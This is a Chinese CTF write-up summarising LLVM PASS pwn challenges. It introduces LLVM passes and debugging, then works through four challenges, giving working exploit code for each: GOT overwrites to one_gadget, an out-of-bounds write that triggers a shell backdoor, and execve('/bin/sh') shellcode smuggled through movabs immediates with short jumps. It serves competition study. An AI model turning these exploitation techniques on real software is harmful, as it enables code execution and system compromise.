LLVM PASS PWN 总结

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2023年2月3日01:55:57评论174 views字数 35929阅读119分45秒阅读模式

LLVM PASS PWN 总结

本文为看雪论坛精华文章

看雪论坛作者ID：winmt

一

前言

近期的比赛里出现了两次LLVM PASS PWN类的题目（CISCN初赛和强网杯），但是自己一直没去研究。最近刚开学还算比较闲，就看了一下LLVM PASS PWN类的题目，这篇文章记录一下自己对此类题目的总结吧。

二

LLVM PASS 简介

LLVM是C++编写的构架编译器的框架系统，可用于优化以任意程序语言编写的程序。

LLVM Pass可用于对代码进行优化或者对代码插桩（插入新代码），LLVM的核心库中提供了一些Pass类可以继承，通过实现它的一些方法，可以对传入的LLVM IR进行遍历并操作。

LLVM IR即代码的中间表示，有三种形式：

.ll 格式：人类可以阅读的文本
.bc 格式：适合机器存储的二进制文件
内存表示

下面给出.ll格式和.bc格式生成及相互转换的常用指令清单：

.c -> .ll：clang -emit-llvm -S a.c -o a.ll.c -> .bc: clang -emit-llvm -c a.c -o a.bc.ll -> .bc: llvm-as a.ll -o a.bc.bc -> .ll: llvm-dis a.bc -o a.ll.bc -> .s: llc a.bc -o a.s

三

准备工作及注意点

需要安装CTF题目中常用的三个版本的clang及LLVM：

sudo apt install clang-8sudo apt install llvm-8 sudo apt install clang-10sudo apt install llvm-10 sudo apt install clang-12sudo apt install llvm-12

opt是LLVM的优化器和分析器，可加载指定的模块，对输入的LLVM IR或者LLVM字节码进行优化或分析。CTF题目一般会给出所需版本的opt文件（可用./opt --version查看版本）或者在README文档中告知opt版本。安装好llvm后，可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件（一般不开PIE保护）。

需要注意的是，最好使用题目所给opt同版本的clang生成ll或bc文件。如：题目所给的文件是opt-8，就最好使用clang-8 -emit-llvm -S exp.c -o exp.ll命令。

LLVM PASS类题目都会给出一个xxx.so，即自定义的LLVM PASS模块，漏洞点就自然会出现在其中。我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析（其中-xxx是xxx.so中注册的PASS的名称，README文档中一般会给出，也可以通过逆向PASS模块得到）。需要注意的是，若题目给了opt文件，就用题目指定的opt文件启动LLVM并调试（如命令./opt-8 ...），直接使用opt-8 ...命令是用的系统安装的opt，可能会和题目所给的有不同。

在打远程的时候，与内核和QEMU逃逸的题类似：将exp.ll或exp.bc通过base64加密传输到远程服务器，远程服务器会解码，并将得到的LLVM IR传给LLVM运行。

四

尝试编写第一个LLVM PASS

参考官方文档：https://llvm.org/docs/WritingAnLLVMPass.html

这里魔改了一下官方文档中给出的Hello Pass，加入了一些CTF题中常见的LLVM语法：

// Hello.cpp#include "llvm/Pass.h"#include "llvm/IR/Function.h"#include "llvm/IR/Constants.h"#include "llvm/IR/BasicBlock.h"#include "llvm/IR/Instructions.h"#include "llvm/Support/raw_ostream.h"#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm; namespace {  struct Hello : public FunctionPass {    static char ID;    Hello() : FunctionPass(ID) {}    bool runOnFunction(Function &F) override {      errs() << "Hello: ";      errs().write_escaped(F.getName()) << 'n';      SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();      for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){         SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();         SymbolTableList<Instruction>::const_iterator instEnd  = bbIter->end();         for(; instIter != instEnd; ++instIter){            errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "n";            if (instIter->getOpcode() == 56)            {                if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) {                    errs() << call_inst->getCalledFunction()->getName() << "n";                    for (int i = 0; i < instIter->getNumOperands()-1; i++)                    {                        if (isa<ConstantInt>(call_inst->getOperand(i)))                        {                            errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "n";                        }                    }                }            }         }      }      return false;    }  };} char Hello::ID = 0; // Register for optstatic RegisterPass<Hello> X("Hello", "Hello World Pass"); // Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,  [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {    PM.add(new Hello());  });

通过如下命令，可将其编译为LLVMHello.so模块：

clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类，并重写了其中的runOnFunction函数（一般的CTF题都是如此）。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。

下面解释一下上述代码中的一些常用LLVM语法：

1、getName()函数用于获取当前runOnFunction正处理的函数名。

2、第一个for循环是对当前处理的函数中的基本块（比如一些条件分支语句就会产生多个基本块，在生成的ll文件中，不同基本块之间会有换行）遍历，第二个for循环是对每个基本块中的指令遍历。

3、getOpcodeName()函数用于获取指令的操作符的名称，getNumOperands()用于获取指令的操作数的个数，getOpcode()函数用于获取指令的操作符编号，在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表，可以看到，56号对应着Call这个操作符：

...HANDLE_OTHER_INST(56, Call   , CallInst   )  // Call a function...

4、当在一个A函数中调用了B函数，在LLVM IR中，A会通过Call操作符调用B，getCalledFunction()函数就是用于获取此处B函数的名称。

5、getOperand(i)是用于获取第i个操作数（在这里就是获取所调用函数的第i个参数），getArgOperand()函数与其用法类似，但只能获取参数，getZExtValue()即get Zero Extended Value，也就是将获取的操作数转为无符号扩展整数。

6、再看到最内层for循环中的instIter->getNumOperands()-1，这里需要-1是因为对于call和invoke操作符，操作数的数量是实际参数的个数+1（因为将被调用者也当成了操作数）。

7、if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数（ConstantInt）。

8、static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称。

下面写一个用于测试的程序：

// test.c#include <stdio.h>#include <unistd.h> int main(){    char name[0x10];    puts("Please tell me your name:");    read(0, name, 0x10);    printf("Hello: ");    write(1, name, 0x10);}

通过clang -emit-llvm -S test.c -o test.ll命令将其生成为LLVM IR（笔者本地的clang版本为10.0.0-4ubuntu1）：

; ModuleID = 'test.c'source_filename = "test.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [26 x i8] c"Please tell me your name:0", align 1@.str.1 = private unnamed_addr constant [8 x i8] c"Hello: 0", align 1 ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i32 @main() #0 {  %1 = alloca [16 x i8], align 16  %2 = call i32 @puts(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))  %3 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0  %4 = call i64 @read(i32 0, i8* %3, i64 16)  %5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))  %6 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0  %7 = call i64 @write(i32 1, i8* %6, i64 16)  ret i32 0} declare dso_local i32 @puts(i8*) #1 declare dso_local i64 @read(i32, i8*, i64) #1 declare dso_local i32 @printf(i8*, ...) #1 declare dso_local i64 @write(i32, i8*, i64) #1 attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 10.0.0-4ubuntu1 "}

接着，通过opt -load ./LLVMHello.so -Hello test.ll命令运行，得到如下结果：

Hello: mainOpcodeName = alloca NumOperands = 1OpcodeName = call NumOperands = 2putsOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4readOperand 0 = 0Operand 2 = 16OpcodeName = call NumOperands = 2printfOpcodeName = getelementptr NumOperands = 3OpcodeName = call NumOperands = 4writeOperand 0 = 1Operand 2 = 16OpcodeName = ret NumOperands = 1

读者可结合上述内容再好好理解一下LLVM IR和LLVM PASS的相关语法。

五

逆向分析so模块

一般来说，CTF题也都像上面的示例程序一样，重写了FunctionPass类中的runOnFunction函数，那么拿到一个so模块，该如何定位到重写的runOnFunction函数呢？

如上图，用IDA对so模块逆向分析，在IDA中搜索vtable，定位到虚表后，虚表最后的一项sub_C880就是重写的runOnFunction函数，漏洞点一般就在其中。

至于PASS注册的名称，一般会在README文件中给出，若是没有给出，可通过对__cxa_atexit函数“交叉引用”来定位：

例如，上图中圈出的字符串就是此so模块注册的PASS名称，不同的so模块这里显示的可能会略有不同，但都能看出PASS名称。

当然，由于LLVM是C++所写，读者在做LLVM的题之前，也应当对C++程序的逆向分析有所了解。

六

gdb调试方法

接下来介绍一下如何用gdb调试LLVM的题。

首先用gdb调试opt并用set args设置参数传入，然后在main函数下断点再跑起来即可：

不过，opt并不会一开始就将so模块加载进来，而是在下图所示的call指令（在call了一堆llvm初始化相关函数后的第一个call）执行完之后，才会加载so模块：

下图圈出来的就是so模块的基地址（高版本opt会显示在内存分布表的下方），直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了，也就能下断点了。

值得一提的是，opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的：

七

红帽杯-2021 simpleVM

用上述介绍的方法确定PASS名为VMPass，重写的runOnFunction函数是sub_6830。

当函数名为o0o0o0o0时，会最终进入sub_6B80函数。

其中，当在o0o0o0o0函数中调用pop()，push()，store()，load()，add()，min()函数的时候都各自定义了不同的操作。

add()和min()是一对函数，会通过第一个参数确定所要操作的全局变量，然后将第二个参数的值加上或减去。

store()和load()也是一堆函数，会将两个全局变量中的一个看作地址，并将地址中的值给另一个全局变量（load()任意地址读漏洞）或是将另一个全局变量中的值存放到这个地址中（store()任意地址写漏洞）。

由于opt一般是不会开PIE保护的，故这里可以考虑先利用任意地址读漏洞通过opt中任意一个函数的got表拿到libc地址，并用add和min函数对其修改，再利用任意地址写漏洞来劫持opt中的某个got表为one_gadget即可。

简单说一下如何确定改哪个got表为one_gadget能打通：在上文中给出了从main函数调用到重写的runOnFunction函数的调用链，我们将<main+11507>处的call跳过，之后调用的函数的got表都能改，调试下如何改能满足one_gadget条件即可。

笔者测试的环境为Ubuntu 20.04，对应libc-2.31 9.9版本，exp如下：

// clang-8 -emit-llvm -S exp.c -o exp.llvoid add(int num, long long val);void min(int num, long long val);void load(int num);void store(int num); void o0o0o0o0(){    add(1, 0x77E100);    load(1);    min(2, 0x9a6d0);    add(2, 0xe3afe);    add(1, 0x870);    store(1);}

八

CISCN-2021 satool

重写的runOnFunction函数为sub_19D0，PASS名为SAPass。

首先，由于是小端序，容易看出会对函数B4ckDo0r进行操作：

但是，接下来的代码比较难看懂。仔细分析后，可以发现其中有大量对LLVM IR合法性的判断和报错信息的输出，这些其实都是可以去掉的，因为我们正常生成的LLVM IR都是合法的。

这题反编译的其他一些地方也比较奇怪，可能需要配合一些调试才能搞清楚。

通过调试，可以知道if ( !(unsigned int)std::string::compare(&v89, "save") )这类语句都是判断是否在B4ckDo0r中调用了某个函数（如save()），并对其进行一系列操作。此外，如-1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * NumTotalBundleOperands] - v20) >> 3) == 2这类语句的左侧就是取调用的这个函数的参数个数。

如下对save函数操作的有效部分中，通过调试可以确定v25和v30就是传入的两个参数，之后会将其均复制入分配的0x20大小的堆块中，由此也可以推断出其类型应该为char *：

由上图可知，byte_2040f8是堆块地址，stealkey会将堆块中的值（首八字节）给byte_204100变量：

在对stealkey函数操作的过程中，经调试，此处的getSExtValue取的是其第一个参数的值，然后会将堆块中原有的值加上这个参数：

最后，很明显，可以通过run函数，将堆块中的值作为函数指针直接执行：

因此，思路就很显然了，通过申请的堆块中残留的libc地址加上某个偏移到one_gadget，然后直接run就行了。

本机libc是glibc 2.31-9.9版本，下个断点在malloc(0x18)前，查看一下堆块布局：

可见，只要取走tcache里0x20的一个堆块，再申请的0x20的堆块就会从smallbin里取了，也就会有libc地址残留了（main_arena+112）。

由以上分析，可写出如下exp：

// clang-8 -emit-llvm -S exp.c -o exp.llvoid save(char *a, char *b);void stealkey();void fakekey(long long x);void run(); void B4ckDo0r(){    save("n", "n");    save("", "n");    stealkey();    fakekey(-0x1ecbf0+0xe3afe);    run();}

九

强网杯-2022 yakagame

本题重写的runOnFunction函数为sub_C880，PASS名称为ayaka。

首先，本题会对gamestart函数进行优化操作：

可以看到在对调用fight函数的操作中，当score指针指向的值大于0x12345678，就可以调用到后门函数：

后门函数如下图，只要控制好cmd指针指向的字符串，就可以执行任意命令了：

如何触发后门函数呢？weaponlist[]数组是char类型的，即单字节，就算比boss值要大，其差值也不可能大于0x12345678。

继续往后看，后面逆向也都不难，merge函数可以将一个weaponlist的值加到另一个上，destroy可以将指定weaponlist清零，upgrade可以将所有weaponlist的值都加上某一个数值。

接着，会有四个奇怪的函数，像是拼音，也不知道啥意思：wuxiangdeyidao，zhanjinniuza，guobapenhuo，tiandongwanxiang可以对cmd字符串中每个字符都进行同样的操作。由此可以想到，可通过这四个函数对cmd字符串原有的内容解密成某个命令。

cmd开始是由src复制过来的，其中内容如下所示：

可以看到其中第二个和第七个字符一样，而那四个函数每次又是对所有字符做同样的操作，因此不难联想到最后解密成的命令很可能是cat flag，写个脚本爆破一下即可。不过这题实际上也不用如此，继续对后面进行分析就知道了。

后面就是一个else条件分支，也就是说当调用的函数不是上面提及的所有函数的时候，就会进入这个分支。这里用了C++ STL里的map，map可在任意类型的值之间建立映射关系，并且会按关键字从小到大排序。如：map["abc"] = 123就将abc这个字符串与123这个数值间建立了映射关系，并且在通过迭代器遍历map的时候，关键字abc会在关键字abd之前遍历到。

在这个else分支中，会先遍历map，查找是否有调用的这个函数名作为key，其第一个参数作为value的映射关系。若是有，则会将weaponlist[]数组下标对应map中此映射关系位置的值改为这个value。若没有，则会将这个新映射关系加入map中。

我们注意到，此处的v33是有符号的char类型，其范围是-128~127，故当map中映射关系很多的时候，v33会是负数，此处也就存在一个数组下标越界的漏洞了。

如上图，可以看到cmd指针和score指针都在weaponlist之前，故可以通过这个数组下标越界漏洞，修改score指针的最后一字节，使其错位，从而指向很大的数字，触发后门函数。

由于opt没开PIE保护，故直接将cmd指针指向opt中的某个字符串末尾的sh即可：

最终，可写出exp如下：

// clang-8 -emit-llvm -S exp.c -o exp.llvoid winmt000(int x);void winmt001(int x);void winmt002(int x);void winmt003(int x);void winmt004(int x);void winmt005(int x);void winmt006(int x);void winmt007(int x);void winmt008(int x);void winmt009(int x);void winmt010(int x);void winmt011(int x);void winmt012(int x);void winmt013(int x);void winmt014(int x);void winmt015(int x);void winmt016(int x);void winmt017(int x);void winmt018(int x);void winmt019(int x);void winmt020(int x);void winmt021(int x);void winmt022(int x);void winmt023(int x);void winmt024(int x);void winmt025(int x);void winmt026(int x);void winmt027(int x);void winmt028(int x);void winmt029(int x);void winmt030(int x);void winmt031(int x);void winmt032(int x);void winmt033(int x);void winmt034(int x);void winmt035(int x);void winmt036(int x);void winmt037(int x);void winmt038(int x);void winmt039(int x);void winmt040(int x);void winmt041(int x);void winmt042(int x);void winmt043(int x);void winmt044(int x);void winmt045(int x);void winmt046(int x);void winmt047(int x);void winmt048(int x);void winmt049(int x);void winmt050(int x);void winmt051(int x);void winmt052(int x);void winmt053(int x);void winmt054(int x);void winmt055(int x);void winmt056(int x);void winmt057(int x);void winmt058(int x);void winmt059(int x);void winmt060(int x);void winmt061(int x);void winmt062(int x);void winmt063(int x);void winmt064(int x);void winmt065(int x);void winmt066(int x);void winmt067(int x);void winmt068(int x);void winmt069(int x);void winmt070(int x);void winmt071(int x);void winmt072(int x);void winmt073(int x);void winmt074(int x);void winmt075(int x);void winmt076(int x);void winmt077(int x);void winmt078(int x);void winmt079(int x);void winmt080(int x);void winmt081(int x);void winmt082(int x);void winmt083(int x);void winmt084(int x);void winmt085(int x);void winmt086(int x);void winmt087(int x);void winmt088(int x);void winmt089(int x);void winmt090(int x);void winmt091(int x);void winmt092(int x);void winmt093(int x);void winmt094(int x);void winmt095(int x);void winmt096(int x);void winmt097(int x);void winmt098(int x);void winmt099(int x);void winmt100(int x);void winmt101(int x);void winmt102(int x);void winmt103(int x);void winmt104(int x);void winmt105(int x);void winmt106(int x);void winmt107(int x);void winmt108(int x);void winmt109(int x);void winmt110(int x);void winmt111(int x);void winmt112(int x);void winmt113(int x);void winmt114(int x);void winmt115(int x);void winmt116(int x);void winmt117(int x);void winmt118(int x);void winmt119(int x);void winmt120(int x);void winmt121(int x);void winmt122(int x);void winmt123(int x);void winmt124(int x);void winmt125(int x);void winmt126(int x);void winmt127(int x);void winmt128(int x);void winmt129(int x);void winmt130(int x);void winmt131(int x);void winmt132(int x);void winmt133(int x);void winmt134(int x);void winmt135(int x);void winmt136(int x);void winmt137(int x);void winmt138(int x);void winmt139(int x);void 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十

CISCN-2022 satool

这题没去符号，重写的runOnFunction函数就叫'anonymous namespace'::MBAPass::runOnFunction，LLVM PASS的名称是mba。

首先，很容易注意到如下几行代码：

先是将this[4]段的权限改为可读可写，然后执行handle函数，再将此段权限改为可读可执行，然后执行callCode函数：

这里直接执行了this[4]段上的shellcode。

通过调试，可以知道this[4]段初始化全是0xc3，也就对应ret指令。因此，思路其实很显然，通过handle函数，往this[4]段上写入shellcode，然后跳转执行即可。此题对函数名没有要求，任何函数都能被同样地进行这些操作。

如上图，这题是倒序对基本块中的指令进行处理的，getTerminator函数是取末尾的指令，第一个if判断末尾指令的第一个操作数是否是常数，第二个else if判断末尾指令的第一个操作数是否为函数的参数，如果都不是，说明是变量，那就进入到最后else的分支。

先分析一下出题人自定义的几个往this[4]段写汇编指令的函数：

1.writeMovImm64函数

很明显，this[5]是存放着目前汇编指令写到了何处的指针。当writeMovImm64函数的第二个参数为0时，写入的汇编指令是0x480xB8加上第三个参数作为立即数，当writeMovImm64函数的第二个参数为1时，写入的汇编指令是0x480xBB加上第三个参数作为立即数。

测试了一下，得到writeMovImm64(this, 0, val)是写入movabs rax, val指令，writeMovImm64(this, 1, val)是写入movabs rbx, val指令，其中val可以是八字节数，共十字节。

2.writeInc函数

同理，可分析出是写入inc rax指令，三字节。

3.writeOpReg函数

同理，可分析出是写入add rax, rbx指令，三字节。

4.writeRet函数

同理，可分析出是写入ret指令，一字节。

再回到else分支中，首先写入了movabs rax, 0指令，v30是this[4]段首地址加上0xff0后的地址，定义了两个C++ STL的stack，其中v25存放一个数，之后可用来控制正负，初始值为1，v26存放着操作数，首先压进栈了最后一条指令ret i64 %xxx中的操作数xxx（即一个变量）。然后进入了一个while循环，当写入的汇编指令长度大于0xff0就会退出循环，或者当v26的栈为空时，会写入一个ret指令，然后跳转循环。

然后，在while循环中，每次会弹出两个栈的栈顶元素，然后再通过v26栈弹出的变量，找到LLVM IR中对应这个变量操作的指令行。接着，获取了这行指令的操作符，只能为13（add）或15（sub），这个在/usr/include/llvm-xx/llvm/IR/Instruction.def可查到。之后，又取了这行指令的两个操作数，如果操作数val是常数：若为±1，则写入inc rax指令，否则写入movabs rbx, val(*v22); add rax, rbx指令，其中v22是从v25栈顶取出的数，默认为1。如果操作数不是常数也非参数，就说明是个变量，那么就压入栈中。

如果操作符是sub，那么就将从v25栈顶取出的数v22取反，然后再执行一遍上述过程，这样之后加上第二个操作数val乘上v22的结果就相当于减去val了。

至此，本题核心部分基本都逆向完成了。然而，我们只能往this[4]段写入指定的几个指令，没法直接写入可拿到权限的shellcode。注意到，当我们往this[4]段写入超过0xff0长度几个字节也是可以的，不过在写完之后会直接退出while循环，也就不会在最后写入ret指令了，但是由于this[4]段初始都是ret指令，占一个字节，所以即使有字节超出，最后仍然是ret指令，执行完写入的汇编指令也可以回去，进行第二次汇编指令的读入。

于是我们想到，可以第一次先向this[4]段写入0xff0个字节加上超过几个字节，让超过的几个字节中存在某个跳转指令，然后第二次再向this[4]段写入指令到第一次超出的字节中的跳转指令之前，这样最后就能成功执行第一次超出字节中的跳转指令了。

这里我们采用短跳转指令（jmp short xxx）比较方便，其中xxx是相对于这条短跳转指令的偏移（范围是-128~127），也就是无条件跳转到此偏移的位置。jmp short对应的机器码是0xEB，后面再加上一个字节的偏移（负数用补码）即可，一个短跳转指令共两个字节。

我们肯定是想最后跳转到shellcode上的，但是shellcode改写在哪里呢？我们可控的部分只有每条movabs rbx, xxx指令中xxx位置的八个字节，于是我们可以在这些地方写入一行行的shellcode，并用nop空指令补全六位以后，在之后写上两个字节的短跳转指令，跳转到下一行shellcode即可，这样就能顺利地执行到任意shellcode了，如下图：

至于具体的构造方式，其实随意怎么样都行，这里就不展开说了，直接给出生成shellcode的脚本：

from pwn import*context(os = 'linux', arch = 'amd64') shellcode = [    "mov edi, 0x68732f6e",    "shl rdi, 24",    "mov ebx, 0x69622f",    "add rdi, rbx",    "push rdi",    "push rsp",    "pop rdi",    "xor rsi, rsi",    "xor rdx, rdx",    "push 59",    "pop rax",    "syscall"] for sc in shellcode:    print(u64(asm(sc).ljust(6, b'x90') + b'xEBxEB')) print(u16(b'xEBxE4')) # 最后超出0xff0字节部分的跳转指令

由于这题的LLVM IR中指令的操作符只能是add或sub，故不能用C语言直接编译生成LLVM IR文件，不然会有很多其他的操作符。所以建议先用C语言写两个空函数，再通过clang-12对其编译生成ll文件，然后直接在ll文件中仿照之前的题目手写LLVM IR即可。

最终写出的exp.ll如下：

; ModuleID = 'exp.c'source_filename = "exp.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload1(i64 %0) #0 {  %2 = add nsw i64 %0, 58603  %3 = add nsw i64 %2, 1024  %4 = add nsw i64 %3, 1024  %5 = add nsw i64 %4, 1024  %6 = add nsw i64 %5, 1024  %7 = add nsw i64 %6, 1024  %8 = add nsw i64 %7, 1024  %9 = add nsw i64 %8, 1024  %10 = add nsw i64 %9, 1024  %11 = add nsw i64 %10, 1024  %12 = add nsw i64 %11, 1024  %13 = add nsw i64 %12, 1024  %14 = add nsw i64 %13, 1024  %15 = add nsw i64 %14, 1024  %16 = add nsw i64 %15, 1024  %17 = add nsw i64 %16, 1024  %18 = add nsw i64 %17, 1024  %19 = add nsw i64 %18, 1024  %20 = add nsw i64 %19, 1024  %21 = add nsw i64 %20, 1024  %22 = add nsw i64 %21, 1024  %23 = add nsw i64 %22, 1024  %24 = add nsw i64 %23, 1024  %25 = add nsw i64 %24, 1024  %26 = add nsw i64 %25, 1024  %27 = add nsw i64 %26, 1024  %28 = add nsw i64 %27, 1024  %29 = add nsw i64 %28, 1024  %30 = add nsw i64 %29, 1024  %31 = add nsw i64 %30, 1024  %32 = add nsw i64 %31, 1024  %33 = add nsw i64 %32, 1024  %34 = add nsw i64 %33, 1024  %35 = add nsw i64 %34, 1024  %36 = add nsw i64 %35, 1024  %37 = add nsw i64 %36, 1024  %38 = add nsw i64 %37, 1024  %39 = add nsw i64 %38, 1024  %40 = add nsw i64 %39, 1024  %41 = add nsw i64 %40, 1024  %42 = add nsw i64 %41, 1024  %43 = add nsw i64 %42, 1024  %44 = add nsw i64 %43, 1024  %45 = add nsw i64 %44, 1024  %46 = add nsw i64 %45, 1024  %47 = add nsw i64 %46, 1024  %48 = add nsw i64 %47, 1024  %49 = add nsw i64 %48, 1024  %50 = add nsw i64 %49, 1024  %51 = add nsw i64 %50, 1024  %52 = add nsw i64 %51, 1024  %53 = add nsw i64 %52, 1024  %54 = add nsw i64 %53, 1024  %55 = add nsw i64 %54, 1024  %56 = add nsw i64 %55, 1024  %57 = add nsw i64 %56, 1024  %58 = add nsw i64 %57, 1024  %59 = add nsw i64 %58, 1024  %60 = add nsw i64 %59, 1024  %61 = add nsw i64 %60, 1024  %62 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